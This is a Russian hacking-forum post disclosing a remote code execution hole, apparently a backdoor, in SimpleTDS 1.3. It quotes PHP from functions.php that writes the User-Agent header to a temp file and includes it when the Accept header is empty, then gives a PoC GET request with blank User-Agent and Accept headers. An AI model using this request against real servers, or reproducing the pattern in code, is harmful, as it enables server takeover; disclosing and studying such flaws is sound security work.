Форум АНТИЧАТ - SimpleTDS 1.3

Официальный дистр: http://simpletds.com/download-1_3

Уязвимый код в functions.php (205-215):

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]{

[/COLOR][COLOR="#0000BB"]$accept[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_ACCEPT'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

 if([/COLOR][COLOR="#0000BB"]$debug[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#0000BB"]$accept[/COLOR][COLOR="#007700"]) { 

[/COLOR][COLOR="#0000BB"]$os_repository[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]tempnam[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]sys_get_temp_dir[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#DD0000"]'OSV'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$os_repository[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]);

    include_once([/COLOR][COLOR="#0000BB"]$os_repository[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$os_repository[/COLOR][COLOR="#007700"]);

    }

}

[/COLOR][/COLOR]

POC:

Код:

Code:

GET /functions.php HTTP/1.1

Host: localhost

User-Agent: 

Accept: 

Connection: keep-alive